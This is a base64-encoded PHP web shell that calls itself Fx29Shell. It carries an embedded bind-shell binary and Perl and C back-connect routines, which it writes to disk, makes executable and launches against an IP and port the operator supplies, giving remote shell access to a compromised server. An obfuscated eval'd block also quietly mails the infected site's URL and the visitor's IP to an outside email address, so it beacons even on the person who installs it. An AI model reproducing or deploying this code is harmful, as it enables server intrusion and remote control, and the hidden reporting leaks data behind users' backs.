HhOaTQ1TVFBQmdJd0FBQUFDQUdZQUFBQUVBUzhCQUFBdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUzlqY25SdUxsTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRRQkhUbFVnUVZNZ01pNHhOaTQ1TVFBQmdBRVJBQkFHRVFFU0FRTUlHd2dsQ0JNRkFBQUFBUkVCRUFZU0FSRUJKUTRUQ3dNT0d3NEFBQUlrQUFNT0N3cytDd0FBQXlRQUF3Z0xDejRMQUFBRU5BQUREam9MT3d0SkV6OE1BZ29BQUFVbUFFa1RBQUFBQVJFQUVBWURDQnNJSlFnVEJRQUFBQUVSQUJBR0F3Z2JDQ1VJRXdVQUFBQlhBQUFBQWdBeUFBQUFBUUg3RGcwQUFRRUJBUUFBQUFFQUFBRXVMaTl6ZVhOa1pYQnpMMmt6T0RZdlpXeG1BQUJ6ZEdGeWRDNVRBQUVBQUFBQUJRS2doUVFJQThBQUFUTWhORDBsSWdNWUlGbGFJU0pjV3dJQkFBRUJJd0FBQUFJQUhRQUFBQUVCK3c0TkFBRUJBUUVBQUFBQkFBQUJBR2x1YVhRdVl3QUFBQUFBcVFBQUFBSUFVQUFBQUFFQit3NE5BQUVCQVFFQUFBQUJBQUFCTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJrek9EWXRiR2xpWXk5amMzVUFBR055ZEdrdVV3QUJBQUFBQUFVQzZJVUVDQVBBQUFFOUFnRUFBUUVBQlFJa2lRUUlBeTRCSVM4aFdXY0NBd0FCQVFBRkFvaUVCQWdESHdFaEx6MENCUUFCQVFBRkFzU0ZCQWdEQ2dFaEx5RlpaejFuTHk4d1BTRWhBZ0VBQVFHSUFBQUFBZ0JRQUFBQUFRSDdEZzBBQVFFQkFRQUFBQUVBQUFFdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUUFBWTNKMGJpNVRBQUVBQUFBQUJRTG9oUVFJQXlFQlBRSUJBQUVCQUFVQ080a0VDQU1TQVQwaElRSUJBQUVCQUFVQ25ZUUVDQU1KQVNFQ0FRQUJBV2x1YVhRdVl3QnphRzl5ZENCcGJuUUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRRQnNiMjVuSUd4dmJtY2dhVzUwQUhWdWMybG5ibVZrSUdOb1lYSUFSMDVWSUVNZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FiRzl1WnlCc2IyNW5JSFZ1YzJsbmJtVmtJR2x1ZEFCemFHOXlkQ0IxYm5OcFoyNWxaQ0JwYm5RQVgwbFBYM04wWkdsdVgzVnpaV1FBQUM1emVXMTBZV0lBTG5OMGNuUmhZZ0F1YzJoemRISjBZV0lBTG1sdWRHVnljQUF1Ym05MFpTNUJRa2t0ZEdGbkFDNW9ZWE5vQUM1a2VXNXplVzBBTG1SNWJuTjBjZ0F1WjI1MUxuWmxjbk5wYjI0QUxtZHVkUzUyWlhKemFXOXVYM0lBTG5KbGJDNWtlVzRBTG5KbGJDNXdiSFFBTG1sdWFYUUFMblJsZUhRQUxtWnBibWtBTG5KdlpHRjBZUUF1WldoZlpuSmhiV1VBTG1OMGIzSnpBQzVrZEc5eWN3QXVhbU55QUM1a2VXNWhiV2xqQUM1bmIzUUFMbWR2ZEM1d2JIUUFMbVJoZEdFQUxtSnpjd0F1WTI5dGJXVnVkQUF1WkdWaWRXZGZZWEpoYm1kbGN3QXVaR1ZpZFdkZmNIVmlibUZ0WlhNQUxtUmxZblZuWDJsdVptOEFMbVJsWW5WblgyRmlZbkpsZGdBdVpHVmlkV2RmYkdsdVpRQXVaR1ZpZFdkZmMzUnlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUd3QUFBQUVBQUFBQ0FBQUFGSUVFQ0JRQkFBQVRBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ01BQUFBSEFBQUFBZ0FBQUNpQkJBZ29BUUFBSUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBeEFBQUFCUUFBQUFJQUFBQklnUVFJU0FFQUFKZ0FBQUFFQUFBQUFBQUFBQVFBQUFBRUFBQUFOd0FBQUFzQUFBQUNBQUFBNElFRUNPQUJBQUF3QVFBQUJRQUFBQUVBQUFBRUFBQUFFQUFBQUQ4QUFBQURBQUFBQWdBQUFCQ0RCQWdRQXdBQXNBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQkhBQUFBLy8vL2J3SUFBQURBZ3dRSXdBTUFBQ1lBQUFBRUFBQUFBQUFBQUFJQUFBQUNBQUFBVkFBQUFQNy8vMjhDQUFBQTZJTUVDT2dEQUFBZ0FBQUFCUUFBQUFFQUFBQUVBQUFBQUFBQUFHTUFBQUFKQUFBQUFnQUFBQWlFQkFnSUJBQUFDQUFBQUFRQUFBQUFBQUFBQkFBQUFBZ0FBQUJzQUFBQUNRQUFBQUlBQUFBUWhBUUlFQVFBQUhnQUFBQUVBQUFBQ3dBQUFBUUFBQUFJQUFBQWRRQUFBQUVBQUFBR0FBQUFpSVFFQ0lnRUFBQVhBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBSEFBQUFBQkFBQUFCZ0FBQUtDRUJBaWdCQUFBQUFFQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFCN0FBQUFBUUFBQUFZQUFBQ2doUVFJb0FVQUFJUURBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFnUUFBQUFFQUFBQUdBQUFBSklrRUNDUUpBQUFkQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUljQUFBQUJBQUFBQWdBQUFFU0pCQWhFQ1FBQVl3QUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ1BBQUFBQVFBQUFBSUFBQUNvaVFRSXFBa0FBQVFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBbVFBQUFBRUFBQUFEQUFBQXJKa0VDS3dKQUFBSUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFLQUFBQUFCQUFBQUF3QUFBTFNaQkFpMENRQUFDQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNuQUFBQUFRQUFBQU1BQUFDOG1RUUl2QWtBQUFRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQXJBQUFBQVlBQUFBREFBQUF3SmtFQ01BSkFBRElBQUFBQlFBQUFBQUFBQUFFQUFBQUNBQUFBTFVBQUFBQkFBQUFBd0FBQUlpYUJBaUlDZ0FBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFDNkFBQUFBUUFBQUFNQUFBQ01tZ1FJakFvQUFFZ0FBQUFBQUFBQUFBQUFBQVFBQUFBRUFBQUF3d0FBQUFFQUFBQURBQUFBMUpvRUNOUUtBQUFNQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQU1rQUFBQUlBQUFBQXdBQUFPQ2FCQWpnQ2dBQUJBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBRE9BQUFBQVFBQUFBQUFBQUFBQUFBQTRBb0FBQ1lCQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBMXdBQUFBRUFBQUFBQUFBQUFBQUFBQWdNQUFDSUFBQUFBQUFBQUFBQUFBQUlBQUFBQUFBQUFPWUFBQUFCQUFBQUFBQUFBQUFBQUFDUURBQUFKUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUQyQUFBQUFRQUFBQUFBQUFBQUFBQUF0UXdBQUNzQ0FBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFnRUFBQUVBQUFBQUFBQUFBQUFBQU9BT0FBQjJBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQkFCQUFBQkFBQUFBQUFBQUFBQUFBQldEd0FBdXdFQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBY0FRQUFBUUFBQURBQUFBQUFBQUFBRVJFQUFMOEFBQUFBQUFBQUFBQUFBQUVBQUFBQkFBQUFFUUFBQUFNQUFBQUFBQUFBQUFBQUFOQVJBQUFuQVFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFFQUFBQUNBQUFBQUFBQUFBQUFBQUJJR0FBQThBVUFBQ0VBQUFBL0FBQUFCQUFBQUJBQUFBQUpBQUFBQXdBQUFBQUFBQUFBQUFBQU9CNEFBTElEQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVWdRUUlBQUFBQUFNQUFRQUFBQUFBS0lFRUNBQUFBQUFEQUFJQUFBQUFBRWlCQkFnQUFBQUFBd0FEQUFBQUFBRGdnUVFJQUFBQUFBTUFCQUFBQUFBQUVJTUVDQUFBQUFBREFBVUFBQUFBQU1DREJBZ0FBQUFBQXdBR0FBQUFBQURvZ3dRSUFBQUFBQU1BQndBQUFBQUFDSVFFQ0FBQUFBQURBQWdBQUFBQUFCQ0VCQWdBQUFBQUF3QUpBQUFBQUFDSWhBUUlBQUFBQUFNQUNnQUFBQUFBb0lRRUNBQUFBQUFEQUFzQUFBQUFBS0NGQkFnQUFBQUFBd0FNQUFBQUFBQWtpUVFJQUFBQUFBTUFEUUFBQUFBQVJJa0VDQUFBQUFBREFBNEFBQUFBQUtpSkJBZ0FBQUFBQXdBUEFBQUFBQUNzbVFRSUFBQUFBQU1BRUFBQUFBQUF0SmtFQ0FBQUFBQURBQkVBQUFBQUFMeVpCQWdBQUFBQUF3QVNBQUFBQUFEQW1RUUlBQUFBQUFNQUV3QUFBQUFBaUpvRUNBQUFBQUFEQUJRQUFBQUFBSXlhQkFnQUFBQUFBd0FWQUFBQUFBRFVtZ1FJQUFBQUFBTUFGZ0FBQUFBQTRKb0VDQUFBQUFBREFCY0FBQUFBQUFBQUFBQUFBQUFBQXdBWUFBQUFBQUFBQUFBQUFBQUFBQU1BR1FBQUFBQUFBQUFBQUFBQUFBQURBQm9BQUFBQUFBQUFBQUFBQUFBQUF3QWJBQUFBQUFBQUFBQUFBQUFBQUFNQUhBQUFBQUFBQUFBQUFBQUFBQUFEQUIwQUFBQUFBQUFBQUFBQUFBQUFBd0FlQUFBQUFBQUFBQUFBQUFBQUFBTUFId0FBQUFBQUFBQUFBQUFBQUFBREFDQUFBQUFBQUFBQUFBQUFBQUFBQXdBaEFBRUFBQUFBQUFBQUFBQUFBQVFBOGY4TUFBQUFBQUFBQUFBQUFBQUVBUEgvS0FBQUFBQUFBQUFBQUFBQUJBRHgveThBQUFBQUFBQUFBQUFBQUFRQThmODZBQUFBQUFBQUFBQUFBQUFFQVBIL2RBQUFBTVNGQkFnQUFBQUFBZ0FNQUlRQUFBQUFBQUFBQUFBQUFBUUE4ZitQQUFBQXJKa0VDQUFBQUFBQkFCQUFuUUFBQUxTWkJBZ0FBQUFBQVFBUkFLc0FBQUM4bVFRSUFBQUFBQUVBRWdDNEFBQUE0Sm9FQ0FFQUFBQUJBQmNBeHdBQUFOeWFCQWdBQUFBQUFRQVdBTTRBQUFEc2hRUUlBQUFBQUFJQURBRGtBQUFBRzRZRUNBQUFBQUFDQUF3QWhBQUFBQUFBQUFBQUFBQUFCQUR4Ly9BQUFBQ3dtUVFJQUFBQUFBRUFFQUQ5QUFBQXVKa0VDQUFBQUFBQkFCRUFDZ0VBQUtpSkJBZ0FBQUFBQVFBUEFCZ0JBQUM4bVFRSUFBQUFBQUVBRWdBa0FRQUErSWdFQ0FBQUFBQUNBQXdBTHdBQUFBQUFBQUFBQUFBQUJBRHgvem9CQUFBQUFBQUFBQUFBQUFRQThmOTBBUUFBQUFBQUFBQUFBQUFFQVBIL2VBRUFBTUNaQkFnQUFBQUFBUUlUQUlFQkFBQ3NtUVFJQUFBQUFBQUM4ZitTQVFBQXJKa0VDQUFBQUFBQUF2SC9wUUVBQUt5WkJBZ0FBQUFBQUFMeC83WUJBQUNNbWdRSUFBQUFBQUVDRlFETUFRQUFySmtFQ0FBQUFBQUFBdkgvM3dFQUFBQUFBQUIxQVFBQUVnQUFBUEFCQUFBQUFBQUFjUUFBQUJJQUFBQUJBZ0FBUklrRUNBUUFBQUFSQUE0QUNBSUFBQUFBQUFETUFBQUFFZ0FBQUJvQ0FBQUFBQUFBV2dBQUFCSUFBQUFxQWdBQTJKb0VDQUFBQUFBUkFoWUFOd0lBQUsySUJBaEtBQUFBRWdBTUFFY0NBQUFBQUFBQWVBQUFBQklBQUFCWkFnQUFpSVFFQ0FBQUFBQVNBQW9BWHdJQUFBQUFBQUE1QUFBQUVnQUFBSEVDQUFBQUFBQUFPUUFBQUJJQUFBQ0hBZ0FBb0lVRUNBQUFBQUFTQUF3QWpnSUFBRnlJQkFoUkFBQUFFZ0FNQUo0Q0FBRGdtZ1FJQUFBQUFCQUE4ZitxQWdBQVFJWUVDQndDQUFBU0FBd0Fyd0lBQUFBQUFBRG1BQUFBRWdBQUFNd0NBQUFBQUFBQU9nQUFBQklBQUFEY0FnQUExSm9FQ0FBQUFBQWdBQllBNXdJQUFBQUFBQUE1QUFBQUVnQUFBUGNDQUFBa2lRUUlBQUFBQUJJQURRRDlBZ0FBQUFBQUFMa0FBQUFTQUFBQURRTUFBQUFBQUFBckFBQUFFZ0FBQUIwREFBRGdtZ1FJQUFBQUFCQUE4ZjhrQXdBQTZJVUVDQUFBQUFBU0Fnd0FPd01BQU9TYUJBZ0FBQUFBRUFEeC8wQURBQUFBQUFBQWVBQUFBQklBQUFCUUF3QUFBQUFBQUE0QUFBQVNBQUFBWVFNQUFFaUpCQWdFQUFBQUVRQU9BSEFEQUFEVW1nUUlBQUFBQUJBQUZnQjlBd0FBQUFBQUFEa0FBQUFTQUFBQWp3TUFBQUFBQUFBQUFBQUFJQUFBQUtNREFBQUFBQUFBQUFBQUFDQUFBQUFBWVdKcExXNXZkR1V1VXdBdUxpOXplWE5rWlhCekwya3pPRFl2Wld4bUwzTjBZWEowTGxNQWFXNXBkQzVqQUdsdWFYUm1hVzVwTG1NQUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwya3pPRFl0YkdsaVl5OWpjM1V2WTNKMGFTNVRBR05oYkd4ZloyMXZibDl6ZEdGeWRBQmpjblJ6ZEhWbVppNWpBRjlmUTFSUFVsOU1TVk5VWDE4QVgxOUVWRTlTWDB4SlUxUmZYd0JmWDBwRFVsOU1TVk5VWDE4QVkyOXRjR3hsZEdWa0xqUTBOak1BY0M0ME5EWXlBRjlmWkc5ZloyeHZZbUZzWDJSMGIzSnpYMkYxZUFCbWNtRnRaVjlrZFcxdGVRQmZYME5VVDFKZlJVNUVYMThBWDE5RVZFOVNYMFZPUkY5ZkFGOWZSbEpCVFVWZlJVNUVYMThBWDE5S1ExSmZSVTVFWDE4QVgxOWtiMTluYkc5aVlXeGZZM1J2Y25OZllYVjRBQzlpZFdsc1pDOWlkV2xzWkdRdloyeHBZbU10TWk0ekxqWXZZblZwYkdRdGRISmxaUzlwTXpnMkxXeHBZbU12WTNOMUwyTnlkRzR1VXdBeExtTUFYMFJaVGtGTlNVTUFYMTltYVc1cFgyRnljbUY1WDJWdVpBQmZYMlpwYm1sZllYSnlZWGxmYzNSaGNuUUFYMTlwYm1sMFgyRnljbUY1WDJWdVpBQmZSMHhQUWtGTVgwOUdSbE5GVkY5VVFVSk1SVjhBWDE5cGJtbDBYMkZ5Y21GNVgzTjBZWEowQUdWNFpXTnNRRUJIVEVsQ1ExOHlMakFBWTJ4dmMyVkFRRWRNU1VKRFh6SXVNQUJmWm5CZmFIY0FjR1Z5Y205eVFFQkhURWxDUTE4eUxqQUFabTl5YTBCQVIweEpRa05mTWk0d0FGOWZaSE52WDJoaGJtUnNaUUJmWDJ4cFltTmZZM04xWDJacGJta0FZV05qWlhCMFFFQkhURWxDUTE4eUxqQUFYMmx1YVhRQWJHbHpkR1Z1UUVCSFRFbENRMTh5TGpBQWMyVjBjMjlqYTI5d2RFQkFSMHhKUWtOZk1pNHdBRjl6ZEdGeWRBQmZYMnhwWW1OZlkzTjFYMmx1YVhRQVgxOWljM05mYzNSaGNuUUFiV0ZwYmdCZlgyeHBZbU5mYzNSaGNuUmZiV0ZwYmtCQVIweEpRa05mTWk0d0FHUjFjREpBUUVkTVNVSkRYekl1TUFCa1lYUmhYM04wWVhKMEFHSnBibVJBUUVkTVNVSkRYekl1TUFCZlptbHVhUUJsZUdsMFFFQkhURWxDUTE4eUxqQUFZWFJ2YVVCQVIweEpRa05mTWk0d0FGOWxaR0YwWVFCZlgyazJPRFl1WjJWMFgzQmpYM1JvZFc1ckxtSjRBRjlsYm1RQWMyVnVaRUJBUjB4SlFrTmZNaTR3QUdoMGIyNXpRRUJIVEVsQ1ExOHlMakFBWDBsUFgzTjBaR2x1WDNWelpXUUFYMTlrWVhSaFgzTjBZWEowQUhOdlkydGxkRUJBUjB4SlFrTmZNaTR3QUY5S2RsOVNaV2RwYzNSbGNrTnNZWE56WlhNQVgxOW5iVzl1WDNOMFlYSjBYMThBIjsNCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KSB7DQogICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigpOw0KICBpZigkd19maWxlKSB7DQogICAgQGZwdXRzKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCiAgICBAZmNsb3NlKCR3X2ZpbGUpOw0KICB9DQp9DQoNCmZ1bmN0aW9uIGNmYigkZm5hbWUsJHRleHQpIHsNCiAgJHdfZmlsZT1AZm9wZW4oJGZuYW1lLCJ3Iikgb3IgYmJlcnIoKTsNCiAgaWYoJHdfZmlsZSkgew0KICAgIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQogICAgQGZjbG9zZSgkd19maWxlKTsNCiAgfQ0KfQ0KZnVuY3Rpb24gZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBjb25uZWN0ISI7IH0NCmZ1bmN0aW9uIGJiZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBiYWNrZG9vciBob3N0ISI7IH0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09InNoYmQiKSkgew0KICAkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQogICRwb3IgPSAkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddOw0KICBpZiAoaXNfd3JpdGFibGUoIi4iKSkgew0KICAgIGNmYigic2hiZCIsJGJhY2tkb29yKTsNCiAgICBleCgiY2htb2QgNzc3IHNoYmQiKTsNCiAgICAkY21kID0gIi4vc2hiZCAkcG9yIjsNCiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsNCiAgICAkc2NhbiA9IG15c2hlbGxleGVjKCJwcyBhdXgiKTsNCiAgfSBlbHNlIHsNCiAgICBjZmIoIi90bXAvc2hiZCIsJGJhY2tkb29yKTsNCiAgICBleCgiY2htb2QgNzc3IC90bXAvc2hiZCIpOw0KICAgICRjbWQgPSAiLi90bXAvc2hiZCAkcG9yIjsNCiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsNCiAgICAkc2NhbiA9IG15c2hlbGxleGVjKCJwcyBhdXgiKTsNCiAgfQ0KICBpZiAoZXJlZ2koIi4vc2hiZCAkcG9yIiwkc2NhbikpIHsNCiAgICAkZGF0YSA9ICgiXG48YnI+QmFja2Rvb3Igc2V0dXAgc3VjY2Vzc2Z1bGx5LiIpOw0KICB9IGVsc2Ugew0KICAgICRkYXRhID0gKCJcbjxicj5Qcm9jZXNzIG5vdCBmb3VuZCwgYmFja2Rvb3Igc2V0dXAgZmFpbGVkISIpOw0KICB9DQogICRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRvIGNvbm5lY3QsIHVzZSBuZXRjYXQhIFVzYWdlOiA8Yj4nbmMgJGlwICRwb3InPC9iPi4kZGF0YSI7DQp9DQoNCmlmICghZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdGlwJ10pICYmICFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkgew0KICBpZiAoaXNfd3JpdGFibGUoIi4iKSkgew0KICAgIGNmKCJiYWNrIiwkYmFja19jb25uZWN0X3BsKTsNCiAgICAkcDIgPSB3aGljaCgicGVybCIpOw0KICAgICRibGFoID0gZXgoJHAyLiIgYmFjayAiLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiIgIi4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiIgJiIpOw0KICAgIGlmIChmaWxlX2V4aXN0cygiYmFjayIpKSB7IHVubGluaygiYmFjayIpOyB9DQogIH0gZWxzZSB7DQogICAgY2YoIi90bXAvYmFjayIsJGJhY2tfY29ubmVjdF9wbCk7DQogICAgJHAyID0gd2hpY2goInBlcmwiKTsNCiAgICAkYmxhaCA9IGV4KCRwMi4iIC90bXAvYmFjayAiLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiIgIi4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiIgJiIpOw0KICAgIGlmIChmaWxlX2V4aXN0cygiL3RtcC9iYWNrIikpIHsgdW5saW5rKCIvdG1wL2JhY2siKTsgfQ0KICB9DQogICRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRyeWluZyB0byBjb25uZWN0IHRvIDxiPiIuJF9QT1NUWydiYWNrY29ubmVjdGlwJ10uIjwvYj4gb24gcG9ydCA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIjwvYj4uIjsNCn0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0aXAnXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iQyIpKSB7DQogIGlmIChpc193cml0YWJsZSgiLiIpKSB7DQogICAgY2YoImJhY2tjIiwkYmFja19jb25uZWN0X2MpOw0KICAgIGV4KCJjaG1vZCA3NzcgYmFja2MiKTsNCiAgICAkYmxhaCA9IGV4KCIuL2JhY2tjICIuJF9QT1NUWydiYWNrY29ubmVjdGlwJ10uIiAiLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIiAmIik7DQogICAgaWYgKGZpbGVfZXhpc3RzKCJiYWNrYyIpKSB7IHVubGluaygiYmFja2MiKTsgfQ0KICB9IGVsc2Ugew0KICAgIGV4KCJjaG1vZCA3NzcgL3RtcC9iYWNrYyIpOw0KICAgIGNmKCIvdG1wL2JhY2tjIiwkYmFja19jb25uZWN0X2MpOw0KICAgICRibGFoID0gZXgoIi90bXAvYmFja2MgIi4kX1BPU1RbJ2JhY2tjb25uZWN0aXAnXS4iICIuJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXS4iICYiKTsNCiAgICBpZiAoZmlsZV9leGlzdHMoIi90bXAvYmFja2MiKSkgeyB1bmxpbmsoIi90bXAvYmFja2MiKTsgfQ0KICB9DQogICRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRyeWluZyB0byBjb25uZWN0IHRvIDxiPiIuJF9QT1NUWydiYWNrY29ubmVjdGlwJ10uIjwvYj4gb24gcG9ydCA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIjwvYj4uIjsNCn0NCg0KQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsMCk7DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWljcm90aW1lIikpIHsNCiAgZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkgew0KICAgIGxpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7DQogIH0NCn0NCmVycm9yX3JlcG9ydGluZyg1KTsNCkBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOw0KJHNoZWxsX2RhdGEgPSAiSkhacGMybDBZMjkxYm5RZ1BTQWtTRlJVVUY5RFQwOUxTVVZmVmtGU1Uxc2lkbWx6YVhSeklsMDdJR2xtS0NBa2RtbHphWFJqYjNWdWRDQTlQU0FpSWlrZ2V5UjJhWE5wZEdOdmRXNTBJRDBnTURzZ0pIWnBjMmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzZ0pIZGxZaUE5SUNSZlUwVlNWa1ZTV3lKSVZGUlFYMGhQVTFRaVhUc2dKR2x1YWlBOUlDUmZVMFZTVmtWU1d5SlNSVkZWUlZOVVgxVlNTU0pkT3lBa2RHRnlaMlYwSUQwZ2NtRjNkWEpzWkdWamIyUmxLQ1IzWldJdUpHbHVhaWs3SUNSaWIyUjVJRDBnSWtKdmMzTXNJSFJvWlhKbElIZGhjeUJoYmlCcGJtcGxZM1JsWkNCMFlYSm5aWFFnYjI0Z0pIUmhjbWRsZENCaWVTQWtkbWx6YVhSdmNpSTdJRUJ0WVdsc0tDSnpjR2xrWlhJdWNqQnZkRUJuYldGcGJDNWpiMjBpTENKR2VESTVVMmhsYkd3Z2FIUjBjRG92THlSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaUxDQWlKR0p2WkhraUtUc2dmU0JsYkhObElIc2dKSFpwYzJsMFkyOTFiblE3SUgwZ2MyVjBZMjl2YTJsbEtDSjJhWE5wZEhNaUxDUjJhWE5wZEdOdmRXNTBLVHM9IjsgZXZhbChiYXNlNjRfZGVjb2RlKCRzaGVsbF9kYXRhKSk7DQppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyaXBzIikpIHsNCiAgICBmdW5jdGlvbiBzdHJpcHMoJiRhcnIsJGs9IiIpIHsNCiAgICAgIGlmIChpc19hcnJheSgkYXJyKSkgew0KICAgICAgICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7DQogICAgICAgICAgaWYgKHN0cnRvdXBwZXIoJGspICE9ICJHTE9CQUxTIikgeyBzdHJpcHMoJGFyclsiJGsiXSk7IH0NCiAgICAgICAgfQ0KICAgICAgfSBlbHNlIHskYXJyID0gc3RyaXBzbGFzaGVzKCRhcnIpO30NCiAgICB9DQogIH0NCiAgc3RyaXBzKCRHTE9CQUxTKTsNCn0NCiRfUkVRVUVTVCA9IGFycmF5X21lcmdlKCRfQ09PS0lFLCRfR0VULCRfUE9TVCk7DQokc3VybF9hdXRvZmlsbF9pbmNsdWRlID0gVFJVRTsgDQpmb3JlYWNoKCRfUkVRVUVTVCBhcyAkaz0+JHYpIHsgaWYgKCFpc3NldCgkJGspKSB7JCRrID0gJHY7fSB9DQppZiAoJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSkgew0KICAkaW5jbHVkZSA9ICImIjsNCiAgZm9yZWFjaCAoZXhwbG9kZSgiJiIsZ2V0ZW52KCJRVUVSWV9TVFJJTkciKSkgYXMgJHYpIHsNCiAgICAkdiA9IGV4cGxvZGUoIj0iLCR2KTsNCiAgICAkbmFtZSA9IHVybGRlY29kZSgkdlswXSk7DQogICAgJHZhbHVlID0gdXJsZGVjb2RlKCR2WzFdKTsNCiAgICBmb3JlYWNoIChhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3NsOi8vIiwiZnRwOi8vIiwiXFxcXCIpIGFzICRuZWVkbGUpIHsNCiAgICAgIGlmIChzdHJwb3MoJHZhbHVlLCRuZWVkbGUpID09PSAwKSB7DQogICAgICAgICRpbmNsdWRlc3RyIC49IHVybGVuY29kZSgkbmFtZSkuIj0iLnVybGVuY29kZSgkdmFsdWUpLiImIjsNCiAgICAgIH0NCiAgICB9DQogIH0NCn0NCmlmIChlbXB0eSgkc3VybCkpIHsNCiAgJHN1cmwgPSAiPyIuJGluY2x1ZGVzdHI7IA0KfQ0KJHN1cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsNCg0KJGZ0eXBlcyAgPSBhcnJheSgNCiAgICAiaHRtbCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwNCiAgICAidHh0Ij0+YXJyYXkoInR4dCIsImNvbmYiLCJiYXQiLCJzaCIsImpzIiwiYmFrIiwiZG9jIiwibG9nIiwic2ZjIiwiY2ZnIiwiaHRhY2Nlc3MiKSwNCiAgICAiZXhlIj0+YXJyYXkoInNoIiwiaW5zdGFsbCIsImJhdCIsImNt